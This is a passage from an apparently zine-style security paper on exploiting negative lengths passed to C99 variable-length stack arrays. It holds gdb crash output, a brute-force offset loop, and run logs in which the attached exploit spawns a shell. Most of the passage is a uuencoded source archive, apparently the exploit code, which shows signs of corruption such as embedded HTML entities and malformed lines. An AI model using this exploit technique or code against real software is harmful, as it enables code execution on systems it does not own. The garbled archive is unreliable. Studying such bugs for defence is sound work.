If the adjusted delta was less than 16 we would end up overwriting 0xbffff85c, due to the paragraph alignment. Depending what is in that memory location denotes how useful it is. In this particular case its not. If we could write more than 4 bytes, it could be useful.

When we set -16 AAAA as the arguments to dmeiswrong, we get:

```
andrewg@supernova:~/papers/straws$ gdb -q ./dmeiswrong
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set args -16 AAAA
(gdb) r
Starting program: /home/andrewg/papers/straws/dmeiswrong -16 AAAA
sizeof(x): -16

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

Based with the above information, an exploit can be written for dmeiswrong.c. See the attached file iyndwacyndwm.c for more information.

The attached exploit code (iyndwacyndwm.c) works on my system (gcc version: Debian 1:3.3.5-8ubuntu2, kernel: Linux supernova 2.6.10-5-686 #1 Fri Jun 24 17:33:34 UTC 2005 i686 GNU/Linux) with success.
It may fail on the readers machine due to different initial stack layout, and different compiler options / generated code. You may need to play a bit with gdb a bit to get it working. However, this technique should work fine for other people, they may just need to play around a bit to get it working as expected.

To get it working for your system, have a look at what causes a segfault (this can be achieved with a simple

```
  "for i in `seq 0 -4 -128` ; do ./dmeiswrong $i AAAA ; done"
```

loop and seeing if the offset segfaults. The attached Makefile implements this loop for you when you type make bf. You can then replay the offset and args in GDB to see if EIP is pointing to 0x41414141.

Then its a matter of getting the stack layout correct for so the exploit will run. In the included exploit, I've made it so it tries to determine the exact offset to where the shellcode starts. This technique is further explained in [2]. Otherwise, this technique could be done via examining the heap layout at "_start" (entry point of the executable) and looking at what is in memory from the top, and seeing the offset, as its quite possible that things have been moved around during different kernel releases.

In order to make it easier for people to play around with this technique, I've included a precompiled dmeiswrong and iyndwacyndwm files, which hopefully demonstate the problem. If iyndwacyndwm does not work for you, try iyndwacyndwm-lame which tries the standard "pick an offset from some value (like esp)" technique to try and gain code execution on the host.

I haven't performed a wide scale test against vulnerable compilers, but due to the code construct compilers would be most likely to emit, I suspect a majority of compilers which support variable sized stack arrays to be vulnerable. Thos which wouldn't be vulnerable would be those which include code to verify if this is not a problem during runtime.

Exploitability of this type of bug appears to be feasible on other architectures, such as PPC, as I was able to get it to crash with $pc being something not of my choice. (such as, 0x6f662878, and sometimes $pc would be pointing at an invalid instruction on the stack). This was done via just incrementing the value passed as the len by 4 in a loop. Make bf should point out the exploitable architectures as they should crash (eventually.)

I didn't have enough time to look into this further as the time to submit the final paper drew to close, and PPC assembly and MacOSX are not my strongest skills.

--[4.1 - Requirements for exploitability

In order for an architecture / Operating System to be exploitable, the architecture needs to support having a stack which can be moved about. If the stack contains embedded flow control information, such as saved return addresses, it makes it significantly easier to exploit, and partially less dependant on what value the stack pointer contains. This in turn increases reliability in exploits, especially remote ones.

Additionally, the compiler needs to:

- support variable sized stack arrays (which as demonstrated above, is a feature of the C99 standard)

- not emit code that performs sanity checking of the changed stack pointer. It is forseeable that if this issue gets a lot of public attention, that various compiler security patches (such as pro-police, stackguard, so fourth) will add detection of this issue.

The direction the stack grows is not that relevant to the problem, as if the x86 stack grew upwards, the instruction at 0x804840e, would be written as addl %eax, %esp, and given the parameter len as -16 would could be rewritten as subl $16, %esp, which would allow access to the saved eip and saved frame pointer, amongst other things.

The attached Makefile has a "bf" option which should allow you to test if your architecture is vulnerable. In order to make this work as expected, you'll need to supply the top of the stack for your architecture, and a proper shellcode. A recommended test shellcode is the trap instruction (int3 on x86, trap on ppc) which generates a particular signature when the code is executed.

The output from the make bf command on my laptop is as follows:

```
andrewg@supernova:~/papers/straws/src$ make bf
for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12
sizeof(x): -16
sh-3.00$ exit
sizeof(x): -20
sh-3.00$ exit
sizeof(x): -24
sh-3.00$ exit
sizeof(x): -28
sh-3.00$ exit
```

```
        sizeof(x): -32
        /bin/sh: line 1: 16640 Segmentation fault      ./iyndwacyndwm-lame $i
        sizeof(x): -36

        [ snipped a bunch of Segmentation fault messages ]

        /bin/sh: line 1: 16648 Floating point exception./iyndwacyndwm-lame $i
        sizeof(x): -68
        /bin/sh: line 1: 16649 Floating point exception./iyndwacyndwm-lame $i
        sizeof(x): -72

        [ snipped a bunch of Floating point exception messages and segv ]

        andrewg@supernova:~/papers/straws/src$
```

The make bf-trap command generates the following output:

```
        for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame-trap $i ; done
        sizeof(x): 0
        sizeof(x): -4
        sizeof(x): -8
        sizeof(x): -12
        sizeof(x): -16
        /bin/sh: line 1: 16983 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
        sizeof(x): -20
        /bin/sh: line 1: 16984 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
        sizeof(x): -24
```

--[5 - Links

[1] http://www.eduplace.com/math/mathsteps/6/b/
[2] http://packetstorm.linuxsecurity.com/groups/netric/envpaper.pdf

--[6 - Finishing up

I'd like to greet all of the felinemenace people ((in no particular order) nevar, nemo, mercy, ash, kwine, jaguar, circut, nd and n00ne), along with pulltheplug people, especially arcanum.

Random greets to dme, caddis, Moby for his visual basic advice while discussing this problem at the pub, and zen-parse.

It kinda goes without saying, but I'd like to thank all the people who have supplied feedback for my article.

|=[EOF]=---=|

```
begin 644 src.tar.gz
M'XL(`"UIVD(``^Q:"W0&lt;U7F&gt;G=T=K5:R+%G"Q@=CQK($DB/MZBU9M@'9%K*#
M;,F2[)A89K./6>W`:G;9F9'D!V"0#1;&A8`A;NH4$UR:!RV4Y'!2(`<#+H2V
M28&&>-"?-(<=M2".71SD))81P</_OWIG=65F`2X&<GC`Z]\[]__N_[W\?LU=Z
M)AH4/N&G@9[VUE:\&]M;&YQO^Q$:&YK:VEK:6EJ`;VQJ;VT1Y-9/VC`\IFZ$
M,[(LA+581AD?>5^Z#^NW';'?_T\>G<8_-JJH^G@FI8T$HI^$#L2#1O9]Q[^E
MS1K_YK:FQM8V&O_6IO8V0?Y4@OA'/OY+52V:-&.*O%(W8DDU$DA<[,_A3$TE
M=#Z.$&IJ)BJC4O+DXW;H06-'6M&!]JN:(<=-+5J#1E+1ZN1H@L*^3#?,>+S6
MO\M?R.");=2W?86_T%^8)I%&O*925W<JJ7C-1&VG7!T;UBKKY"RFE@A)M19-
M[ZB9(#QDU<DMA/879A3#S&AR:\<*_[5<_6A8U9CZ<&8D:NM?1L`8TV\Q,"/#
M1DJM0<^VQNVU=3)K-6VOA:@_]'A]W`_FO[I#BXV'HZA'/XD5X$/F?W-38W;]
M;VYH;L'\;VOZ;/Y_*D\P**^,AF,Q5;]85N/RCI1Y44:1M90AQU+CFCRN&@DY
MK.FJ3%-FULY1)>#W!Y?YY66R%:)+=3.M9+346+CSNF`Z3&T]2-,T/*Y7R8&\
M9`.38W[7-[8Q3**^.=#04"4KT41*KNKO&EH'=-#4,\%D*AI.!O6(JG4ZX"R8
```

```
MZV`-#E*5+W9"-<[.7*(*^OW^C[)&GKD@*AE2\D%KY-*8$E<U11X<ZEIS>6BH
MKU]NF(A:Z00CXM0O#PUT]?L++2`42J>CH9#?I`$:T9087]3TA)),1E,Q9=MV
M>95<.3S1'A^>4!J&)QI0.BIIU5RJ)%6PJ\T=;1_.'XU:/+KBQSN3267DRBM2
M9H:6QFA"-90HK9V*K.HR23+3Z53&(&%QHJ(XIF55HWB844--:7J=G$XJ85V1
MS70L;"BRD5#D0%2.JTFED@G78FJ<O&7*/L@N/QG6W#@\$6L:GFBETM9!11F>
M:")GVYLMN(/#*&V@63X\T4%%::X$.]A:FRT4B>J(#4^T$*XA0CY3NZ.!_,Y:
MI,8UQ+RW:T.W8T-A>P=-(DK#J&D[E(K'=<60C90\GE`R')>UGJ9-,BE'%#FC
MZ&H,:>(OS#H*N;03D7^Y+*B76ZA8\R0KIC:'JPPXCG"5V!7YYL;V+<1JEYQ/
M4B=7TERC5PTGK*VYD)323K=Q<V^O?.T*V9:@:&-I2T)6L9/*7ZA,*-$QI6:F
M?*BND\%>NZ*P$%NPE3[Y.[%C'^:[\"PCOG-;$TT`'`H^)$H@.QO?P]C6W]?W
MLW*=,E6-UX2C\I)5<E.M3(9GSRL8ZV1XE)(@C82GU29-TT.GU09!,4<5C24&
MC7\ZK.OD3(UN1FF-U;'\U:(K8VHL8X@SF5*-`!UZ,*:%6+=JNK>N'PI=UK6^
M=_-`-[#78A!&E5'*-YX;.^MHV5C>4)>7,#MK9\L@\!,KCD^<2O[<67#5.>,Q
MJTS^=Q:9P?."S:\_]#[XQ_KD?_]],CH^^/N_J:V]K3WW_=_2CO-?(QT)/SO_
M?0K/]=V]E[E<KBPL"FX!4,.DQ]>"]V*.;Q%DH4"H$98(BP6)P53V$`V5D]1&
M\5+Q4'%3J2`A%3=X?"CE!)=;?2ZKL(=X46XF1A3P"Z6\?S\!^^_R^%"*"5%*
M1;+Z17H=IO[#U(?R`X)1)$L'2@W1UY!N%)E@V=&WZ9=&;+98V/Q!.N,%D['Z
MI*J9$P$]%6CB^%++]IZ-FZU8\2)8/ONH%%@TWEGDBX[X2+/T;[+>[U"91R5@
MP<LM>)4%UUNP_?O840M>3<78Y_%!1YE0DHNSY?\Y,V`A]/FQT(`R0N=7);,F
MB>U(%T*AD=&4%L*L,$(A@4(110C:!+[!"=8'MX!O9"&TOB^$WP.TD$E;&?&"
MW.+%+B_T]*Y?O2;4%&C@_O,_VRX7_559<<53JJIS0&5_@MY^M\<G44#WT+N`
MF/;B34'<CS<%\5:\R=G-4[^<?-4WO8]8IE]%U4-$4Z]N?YK:IULGB.IT]6ZJ
M(?-T-:0ET#QU\C0]U9":0-^IYQD,Z0F8=.HX@Z$E<2[@APAL?.W*J7^;?/F-
M_J&!Q#_NI9Z]5&W:DNBEU_0]1/#F[;=S>Z:VOSN]D-AN>'H>)?^!R474WG?<
M$$\_?V#[N[#NP**JIRW:/:L.P3ZS_M[;*9\/E.Y[T3COX",P<O*XYS[@3K^8
M[3)?><8+<M=S3T^]Q?GO31-,PI=\3^!:SGW64P7<]*+=O_\MEW3P"=103#Q;
M!B=?+9WZCP.;?9\_N-HU>7SND].>)T]Z:D\<'*XJ)LS4VBH/B9B@;)K^Z7NG
M3S^[MHJEU8'N8G1-+:J:_G="3[WYO4Z(5M[>=B632[90<)@5M2>(F,P_($QY
MJJ:/@?HIAO$1!C(JJJ8S%+#GP/>%+8UO#4[_)Q'=\/0ORLCM5XNGJPDZ.%E!
M)`?O1%W[U)/OB,O_12^=^LGI0]\!9O(9U_+W,K^>/%&\[<J0K9]LFS*J/--?
M8\+N)F%Y0IY_\FUQW_&#Z=-FZ70?/"):&@G$Q9(Z]<;DZZY]Q\TW7ODY&TL*
ME>>Q+U$P[T4U^?9I8_[!,>'@XQ>Q\7G%0P/J)JSYYM9M61MH[,]G^N>3_ND%
MU+0&W<WR7A3R?M9RG'Z25IYBCF!N%%,Y<:/'1Q-#Z+?F]CI:T["^O$MOK".[
MZ0T1HU2*K/EDSW7H,TBF:,WY"K8V",("*L=(+MI'Z(WU`XK+K3=9G-I->(I'
M"K:\0>^K;N2V_6\>3"'G&P_6;+O]%LF4:*^93^7"20O?LV9-IUQ#RVRMW!QH
M#K3*-6N5B$HGZ,9.!M=WF!%3,\RFVL]H+5JL+GPO\K`:^W>E8QQ:6/^"0KM_
MUR3/)>14A95CR)TAPE_DX*MC?`^<P:<2'_:ZG][(8?M9PNAW(:MH+/=2F;%'
MX!G/&>NRC1V@$@@$]1UZ3$GK0?PR$522\2#;3`*#0C!BJLD8KV/!$6PT]4T4
MA*9`3&_DZ'HCHRC.KF!4-[%;RUV#<E.@L55P[3GL@^H*IOH:RU]6R)"7:+*<
M1V^7>(IJ\<?8M-P;".DI$%\D>]V5V&'=7Z?*Y1.O`&;I$#"WP9\"\1GB<E>!
M2S3060T%[G5<0(9FK+MF$IAC$"")*VGNNFLA4OP&FLN.HA,;F^@557JY/P?I
MXBEPUGT?)M,.+'B\XA.07L\4=:*SZ5_!N9!8?%[Q'5C1C'W0O0:8`O%JD*\`
MC;@+8E>B4RQ#<S]K?A'-*2;OQY!W"VM6@^T`?!`3-,3N6QGM_6@>9`1_#MH_
M8<UR*+TMC'HQ_/6*`^B\G2G=!$%?A@/>NXC"Y[Y#^B',NP.0N)0.37]!#?3[
MT'!E@WXM&.^X#E3O0.V=4"!>BN8A9M<PQ-S%[/*"]FYF#/+8_15&^Q":AQGV
MBV#[4X;=!=O^[/LL\F@>8=B_AX2O,>Q+P!YES6\!>Q]KO@SW[F>TUZ/Y;=:\
M!7(?8([N`]N#S+*O`/L0LVP;:+_#L&DTO\NP76@^PN3>@]%_-`%A#X+ML6^2
MSD+/;]`WA;[''V6(XS#EVSQY^D#X!&,/0.M3\-&?(:S8[8)=?@.)%'$!7U2!
M>'H&B]=3OV?3*9)3'`%J`!U"0175$,["[Q:\ZY$WGB$I2CC/1J9DJ2#],S)P
M\+]%0!Y!?([4>H;`ZMU!5;%WL?2W)-Z[:`L?5:D#`WX^9#'Z!$[XBX=`_TVJ
M2KU+.?V2A).^DM/[!/$HH;U+]Q(XYW>P5;JP!`=?H:2>+'"5O`972];"]Y)B
MV%ER$]7>DA_A0Z$$$[R@!%]KOI*'B:90F%,"WZ6.DIT>L%=([#QZ&;VD=0L]
M".\%5,\=0"\\+D6KM)UX2Q]%=1S5/Z#Z"2I&@HH8MQ)E&2A_1A:LE"Z1INDM
MF?<7<+_F4[<T]BN)Q4$"CS3!8^J3!J!_YZ,LIL72&[!]%X=*I6=!>2W,%I=6
M2,,D7[H.B2DN/5=ZD2(B7>]F,A=)RR!E3Q6#9.E*0'NYABKIOR!E'X=JI-_"
MLILX5"=]%=#-'&J0O@OH%@ZU2#="RJW[F,P.<G(5:2Y#)#Q4JJ1+I4Z8<.<+
M7N[D,4"'..21C@`Z;#NY$H*/<*A8^CG"P><6.7DY7/[Z`P7<2:2`=!]/@7.E
M%ICPEU]E?3+R'P/I>8;J>:M9X%]@"-ZNAD!\R$J73S/TZU3/181<R'<^G""E
M!01:-I9(H$(>S$7D<H,NB$_`Q+X@(VBENKP+!%9G&E9M[66=&+ZY^Z0S4P8X
MGC*S)(]0X1%_@^'<?@>3<AA2'L]*R?&RZ@6[$L3Y8`H_RYA^"*9?99G0*OVU
M9&LH]+Q&[7G'V;KQ-F-@"?@8!B966`#$W`*X7F!+0(N)H2XV[#>!5FEEM"NH
M+N\!+3-/*,.H7$0$%=)JJ07ANJI+XID@`[KZ9BO='\&())<5\$Q@237*DZI8
MF@-(X^-;2DH@_YQ;L`,4>HXRM<B$LE/4O!$S6?HKZ6<8NK^NME8DK!S2@P,>
MKHH)?^@45R44O$T-).U\+&J"^`!H_\;M@]B'J<L;H&:=MT62L6PT/6Q-5@CQ
M-J_R<B%%&QA1:S$C"H*H^"&L8"V%/K:S8<EJA23Q933;C]HG&V\'R_`[(6XY
MV\;OP/K7B>5XP3]AD5EX-[&YO&Y\L<]C*\F7&?.Y+IQ-6JD^ZR,/#DOUZ,:!
M)QC-&.K'=V#B1M4PHW[Q?S)*^_B,<I4)I5*9:Y[+[3O/5^TK1\J[RERETCRJ
MW27GE527E!=APM#FT%FTHFA].4YF!!0574QX#S5]O.DM=[G*BXI`1/DQ)TO?
M01]4!2[J`ZMOB;"^/$@$A7.%(B;,;TGV`BA:X)!1/,>A<X['T5-20SV+Z$-N
M[CF$O:@8!*5>`:\R6`'K..6\"QFVG-/1)(-:FAOE)&`EP?.7L/X%+5E5EQ2+
```

```
M?A8#BDM>3/+A03:8^(<OE^OW)7ZJV4]_KED.WH)@G[S9$=TKXI#N#K@:%C=V
M5E[@7GC^EB\LON"*K:*+A,QG8DO/$$NG"M;SZ!D]_/)6C01'HE$D25!M8=FB
MF1-!]FD3M"Y)!8=I(XJF9-1H,*(:.O#C47TTHN=1:"9`-9K2QN@;15,-_O\,
M]/T14^*!!$RR+EPQ3<=QU4--FM&AGA`QQ=41`FEVCD`"-1&T;S$?-IWIPT>:
M"8)@S4\KK/B@<A\77)TLDH3`%QG%>7%=9^<64>(X?)VY+P!.]'(,OEG<?DX5
MB]75U7?6+682;OGXK=5F6%N9,Q:?@>YREZV<,/@@=!>Z+`2%E;Y9FIM"AA`*
M&>JHPAH]:_HV;@FMW[BF;T-_;_=0-S7[-P]E._HNIR9EGZ'@UTB,1`A#&8I'
M#8P3&UTF)Y-41]M:G")[>[M[NGI#:[L'UPRL[Q_J&W!(B*<$/9'*&++S'E'(
MNW$D:OI()?J8SJ1&4_1YK0#-=(?&PDE>FS!-TPU*.H'[V-C&.$;#$R%-46)*
M+!3/I$:SZB-&:CQJ24G%XT2+%6W-AW[74R#P4Q&3S4*2MM.:;-+C:C*J&58G
LR6+M.(225YM4W!#DJDPC$M%KE)X../IE&X1CV0C:V3"FAY2M)AEL@D7SPBS
M/6RD)&NDD0IIX5&$QU2S5J@QQR!U;^@?NB++&\7/QJJ6<A!L[,.+H<=2T3"N
M41TCD;:$F2$VFO8HT?L:,VQW)7&9A6#D:;YL<V]OJ&_S$-?L&"HC9:5G)A?H
MN)FTG+#2]VIEAR7=2A4>+@0>/`F:,Z%$6(LEX?RHJCF$\[SC(8PI"#$,E%G%
ML5;H6=AC82.,-#&-B!EW4.;E+4SCOM$J%K$L94DXKEH#;N8BXA2?&]5X,CRB
M9S41G@5S-*)J[,=\)U-N`N::'WDSI_"D8E:6</&DR5`F;`T<Q]N8X[:;3+F1
M-JQ1RINJE$(LV=B:[EP2!D.]78-#V:E@961<SP/)'IZ^UX1C,<Y.TR(;@VS(
M9MYWJ$A*+9P$[,C?M:L1R60J>K4C^D@4>VR=H;W&5#([+&]U8DDJFN61D;>X
M;>S;T+V!+Q_VY,XM*GP>VWP=K!'+^F)[&V*4CIS6:,OE-NKC1)*W.@]U#VRD
M2=X],,"64=IJ,2VX0U;J,1>M=DZHT[G\@=6HF=/0L[%OH)O+'R1L+B\9JY72
M'0Z15M;2NFJO,8YIEK?<.C/("GG4CD9/;JJ$:*%@BW$HNX0+`7W'J!&.T-O(
M\'?";K'13@L!+64H@:[5Z^N-\(@02(3UA!"([="(D;^-C!"@HTA@3,GHM'CE
M`2'JRRA)T/%&.FE`LDHU(B4$X@105XK9'>"UDB#_X#+XPJ-J5`A$C52&#C\Q
M_KHJ"ITI8H_H!-(LQG^:4+<2,4="80K'B*+;8-J,('Y9F.V--FDDDE'&;(C2
M0['=<.NLG_/X^8]]#+%[8!>_6[`?^PYPJ<#O3$''[FM=UMVD]=B_+3<*_$X5
M=+C_6.?BOVE[''0H[0*_`P$=[D5V$]T>B]<EY.YQ+Q'XW0CH<(_RKHO?G\RT
MKT=@=Q<IT.'^XRJ1\]MZ[3M@?.*]9]'AWF2WR/UPZL6#XVBAQ8-[ER,BOV]Q
M^@$XZ:##/<TQ,7>'7>2@,RWY^"C'*?2$$T2V<Q8^T@^XDT9TDNOX9<4;9Y:##
MB;^!@B2+.3K[KO8&!QU.K/W>_'&S]=XLY/(@371I+[][<NK%<YM%AS%A]_Y>
M?O<UD^XNA[Q#1'?(F^MSTMUCV09Y[/\$O/Q_!+P..L3O&PZ]N-[[DL3Q,^4]
MZ*!+X$;X?>@><=#A`A:_%LUFWV,..MS/&=*9>8]RW+(3=+CT/?0^\OY.</Q?
M!6B)KL6!L)L_FD'W`YI\^QVP[=-+,^CZJ:/:`=M]K\V@,XFNRW\FW>]FT#TR
M3Q`Z9K&OP)5/]SHM&M>(9]*56W3V/]J$Z!OT82F?#@7WFVZ'O++S!6'Q+'KM
G+*?K;0PG;3&9$#(K1N%,^1U+!.$)QP(I^TS'ZR#`N/G5#59F&M>EX6YP-U9
F(_RNUF89[%]'^NV_IMD=Q8N8/"1+,Q']5@6+F3PB2S,!^QD%BYB<,.D#?.9
B'G.X3D,3F?A$@;OO\N&_Z>]NXV-XRCC`+YWMXTOYB0[Q@TI.=HKNB*W8,=.
'">"$)S:E[[(26D22EM!ST[LQ&X3QQ"GI"VM0F*[LDH@$DYM!%2N*@2J`/$A
*J4@M="H[@<HIK+`A7PP(A(7M:@N.N@A.1SSGYG=G1W?RSCQ6^"9Z,Y^;F9G
]S9[<[L[\_.4\7C(C46K,>+&JWC<^K035_"XTXW%-T6/&U?RN->-1>_VD!NO
]NWGD*^%0;Q&BZ_3X@]K\5HMCFKQ1[3X>BV^08MCON/"MM[+EFNQGM^BQ9_7
XKU%\O7Z]?SYWI[GM/AY+4YI\<<"A<M?Z?;I]=4%1%\OXB`[GK=IZV\)>,=C
@!V/]P>\XS'`CD?<:NYQXTKK*(M/GW'B,NN1@#@>1;NSVNK'>8>RON_@9EB!
]?^`Q>W*^L\&U+$@'[1^%?`^3P'V>?J=MCU_QGE3OU?_>UK]Q?:_7OY*][]>
W[J@/T:?D-,>K&+_$D'1GCACUUJ"7GM2SLI_D<5?=\H'RRR<AV'\%=KF"O9^
'PUZ[5D%:\^.![WV"_E/:O6AZPM#MVZ7^>CF==H3Y+_`8HSIVBSS?R&WWQF;
-ZG5=U&)8^QX2,ORSMB]%2&O_:Q@[6>$Q6FV???*^E?)[Q!G;-^-(?_V5(7$
V`N^?#!B?2;DM8>K6'OX.1:/*.7OE_6-ROH.A?S;>SSD'ROX35]^F?5=Y3LM
QAX_U6)K"RXQVKK;8[A$V'I9W0+._=8MR.ZM[NK>:K7M[:KF5U=SZ"KP=S2@
!G99QJJ5]\D6J1?%OW1[Q_XC<A-P.<<V8U_;P8/*T$K<5^5@D=_):]ISUZYD
RQV[]R23+&KV17<VN4%/3:W%=GO/P8[>CO::.ES;'DX>.'AX;]O!)+\.3+8=
/6;Q"\5D^]%#AQYQJD[L;/9J=H+MN[;M2+@15N/\[M6ZSZWUROI]?,0XV7S?
SFT[[FBRDOM[DIU?P24]VT?L(O7+;8\DQ5VH]B.'O7MI?%`IJXP7L_C])TON
1=^BSDMN>5$RR:Z(91X?DSIKE&ICHS=,5=[>\K8%U]]R:3$"UE>:;Q',*!\/
Z\OJD/<=NAHV-]0<Z.A-]NQ+]G8>[7ZH9N\Q*WE;RUVW;FM)WK5]^^[$GN2>
;;>V)-B>QPKE`-N\&R7?I7XG2ME.@V&];L+X_QUM#W4`8%D+E(KY[XT;//^Y
?M-&J[:NOKZ._.>BI*:FV*=C!_;M*RUE[=,G2U?&JYJ:;HZI']=8]6$E=DKX
S3#*^&"G+%7=#"Y7I'`UN)2V1'4SH*/)@M4@AJ6EI7OWLZT'.>R*=77'6H]T
?"E6&ZNNCU6OW]C0&OM4K/VPAD_YTK%XO(MG=G>@"E[9Y=3#%U0K6^K_5].D
^^^%6$<Q_[.Q=H/V]S\VUJ_?2)__Q4CY_,_X">%_7I27N@OI?_[-,O!0_<\,
BV>&[#`>,?9"/.#W/U6L<!4[7ZU:1OYGA>7=HU;O$?FOE68GQ_D\9(ES]689
.]<:<#X7^A;*]0BG.3?*XRF>?(;G'AFO@>'!"#9I>"JEX9%F!Z-B4Y-X"JEF
)\S-3L0U.^6:V:GTF1UU7ZH^9S-\SO1)[G.&V(_4J[E]3I#['-QCRN]SHM+G
V#E\CBU\CJWXG*CF<ZP</@>OI;Z:V^><?.=VS]&,)=)_R&9?'DM,IM@[&DN<
_R?[<2J1'DQ,C24P[LP:2XR'SR!K@M>4&!]LCK,2DY+Q8+'4"__Q69OKL^`I
)17"VASBUB:#YV_AV6]M\$I!:_-[;EU>XM9&J42U-AAZY+<V*.*S-DB.MYEF
;^=9/!E[FQU\&QK@;6Z;[6U4A6Q5L[-+)<VPU=2]N:NS>]V1SLYUZ_9V#?YU
U^[!OYRZ]0._/>Z4P='N>)QCTN.\TN?W.!/2X_1*C]-JY?8XMO0X>%WU.)W2
X[3F\3B-FL>IGR>/4Z5XG.=9G2\Y]2X#UW*UE=4=#KY'"SF<M=+3X%BJE,<6
CIGTB<(.QUGNK3[A<$[-A\/!QO[CQ)(X'+Q?/,CAD,,AAT,.AQP.C\CAD,,A
A[,H#@=7V.1PR.$L=X>#DW1R.//N<-;J#@=79+K#.3;+X>":90D<SEK-X>`R
```

```
MT.]P3I'#(8=##H<<#CD<<CCD<,CA+)S#^822G\OAH#^D-R#Z0PHY'/2?3,AR
M^O:I#@?]'O5!T1=3R.&@OZ31P.&@OZ75P.&@?Z93\3_Y'`[.$H\9.)PA5FXH
MZ!D&=?^I#@=G_..LW+32\9O+X>",]16[N,.98N6F;/_VY7(XO/^=953E**<Z
MG/@9.QPW<#B\O][`X:#;;_J:X@XGP\IE\I13'0XZ6BT#AX-^.9N56Z.5TQT.
M.G>CA@XG:NAP/FOH<"9+S!S.I1(SA[/5T.$\;.AP_G:MF</Y=M3,X4Q]E.U[
M`X<S>K-E/;=`#J=7<S@3FL.I=]V,>..-FL-IU1Q.I^9PCFD.9TAS..-N+!P.
M/N<B%@YGRHV%P\'G5L3"X<0UAU.E.9QI-Q8.)^/&\IM"<SBVYG"BY'#RYI/#
M\<=P..D3A1W.M.M<A,/)N+%P.);F<&S-X40UAQ/3'$YK$8>35M8/AS.CK!\.
M)ZXY'$MS.*?[KAZ'LS7HM0=P./C3R5/*6+.=0:\]@1M)XCR)E;^.YY=97:A/
M<3D/LWBSXG(&Y/J<L6TC0:^]@]-Y)NBU;RC_?6U]+^*\YZ3G=%X/>NT-\B?@
M=EC^%V3^6YK3^9=6'[KUG1A.IR+DM:=P.6M"_OIO"(FQ%CP_&+$:0E[[!W?3
M`A^ME+\[Y%]?>\@_=N^(+[_,.JZYFB%R-N1L+K]?1YO*JZBT<2?NL`J:&S%&
MU$=2EDSA2`5TN;QF`2W-U9CT\?]<,\SS.HJ,_]^T:7V=-OZ_84-]/8W_7XR4
M;_S_J)S_XQ5Y"KV0X__3K$(\U/'__#7VO8I';4!<0ZOC_V/LTBHV;(?Q6"[C
M_W'UME+NAQ*E7O4<+:CL(ZPOUP!>9UX/YYSI`1GGFQ=DBXRWR_A.&;\JXR89
M[Y(QICUH'UC@>4(D*Q#S2UEBABH+4UC-71J8SAO2XVSSB!U>P?XCPB/"'$1&
MA#DH'Q'SAE2.B'E#UN`G^\^*XN<*UR3\F%61PO&;>E<U"=8(3(([]XI@$U*Z:
M!*Q%G4<$:U/G$<%:O7E$LC=A[9W8O1='>8RMZ,2MMHNGE;'9JF?X93\K`;1]
M]SV=[1C2_V1NSW!+)3P#]E!^SQ`?$9YAYNG9G@&O9=]TL^`94%SU#)GAV9X!
MKZ5^]%A.S_"U=ZK8KE%(0W\\D\W69K(OC_5GWL]FC[/#T9TNI'^&O7**EQCL
MM]CS6+^=$;OD*5YZL#_,XJ=XN<'^"/_=XJ7+^>\V_[V2+SG-REALR\;ZT^^+
M.DX^'@[R#1YE*TWMQNPF-GB1E3H@9SKY&?OTLI_V:;R-_BK49L=3]\E<[&3D
MHE:1>PT60)'5L`]\E1Q@\,V4!@/O,/7:)9_!>)"3A<>DP7C\TA49##'?2$U%
M`8,Q>[Z360;#\1<I]N:>Q9.QO_C>):S_)_`7PY=F^8M\J:;([&/S/YV>=U,T
M/3PW]Q$Y*=Q'XX#??<1/"/?1)]W'HU9N]S$S+-P'VC75?9R7[F,BC_LXJ[F/
M9^;)?>"[T_E]*WMO.]GC`?;H9H\GV.,;-!_+O#F0T2+SL;PM/0>.K4IYK.$8
M.E=D/A9GN?L&A`.Y\>0\.!!L[*^79CX6O-]S-!\+.1!R(.1`R(&0`T$!<B#D
M0!;-@>#."#D0<B#+W8&,TGPL"^%`WM8="*[(=`>"JS._`SFW-/.QO*TY$%P&
M^AT(+@C)@9`#(0="#H0<"#D0<B#D0!;(@6Q1\G,Y$/2/]`7$WZ0NY$#0GQ(/
MBGX4??M4!X)^$(P?K%36F\N!H/_DK($#0?_+A($#07_->>DV"CD0G"7B[WP7
M<R!5K!S^OG>/4BZ7`\$9_R@K-ZITI^5R(#AC;5Q1W(&T#HCY3H:4<LXRJ@/A
XS!6%'<@T6$['"TI[D#XN(V2X@X$W8^IDN(.9)J5F\Y33G4@Z*#.Y-D^U8&@
GVZF9/;[U1T(.L7C83,'@G(F#N3>E68.9&JEF0.YIM3,@6RO-',@3UQKYD#>
_9"9`WGV>C,'DD(G;$EQ!Y+ZN&5=7"`'TJ<YD+CK,L11_(SF0,YJ#F1"<R#G
-0<2<>=;$?]A56XL',BH-A\+/N<B%@ZDU8V%`TF[+D,XD.BPWX'$W%@XD)0;
"P<R[<;BFR+CQL*!S+BQZ.6.CY`#R9=/#L0?PX&<*S(?BW,\.@YDVHV%`\FX
L7`@,Z[#$`Z$#UJR/`<RK3F0VK[\ZX<#>4=9/QQ(6ED_'$C4C84#4;<'#J1\
X.IR($Y[X#B0U@&_`TDKS@$.!`.@5`>2<5R$="`8KU;(@3CMG>-`1MU8.!!U
?7`@&/JF.A"GO7$<",;$E0?R.Q"U/G3K.['C0)"<,97H1W7:5[B06V2^,\9R
BXR=,99P(.KV[`Z)L1E\^6#$>C#DM9=P(W`?54KY?EF?,T9S..3?WN=#_C&;
/_?EEUFO:6[D3^1(R)&0([F,V5S$B&7U=8Q:GI>I7<0HZ$6:V<4LY?0??#:+
N=:4/Q7S'PV;=/^Q:4,=^8]%2<7\QP^7@?]`#WPTX/<?&.P89M^G8?(?Y#\T
_Q&6_@/7"R7RO!W^`^?G)?(\#/[#DO[#-O(?N!K)WN1<$V1O0NVJ_\!:5/^!
M:G^`VM5_8>E^0][WOQ'A8'_B,S-?T0T_S&5PW],_<_XCS<*^@]\A#7_\<:5
^(]]/O]1G@7=P+/??^`5`_^QFOL/I9+"_@-%<OJ/<?B/\;G[CZ>O(O]QGKV]
W[AMROPYCPO+S'F$R7F0\T`BYT'.@YP'.0]R'N0\`N0\R'F0\\`RY#S(>9#S
(.=!SL,BYT'.@YP'.0]R'N0\R'F0\R#G\7_H//QC2T52G8<];(=M`^?!QV<8
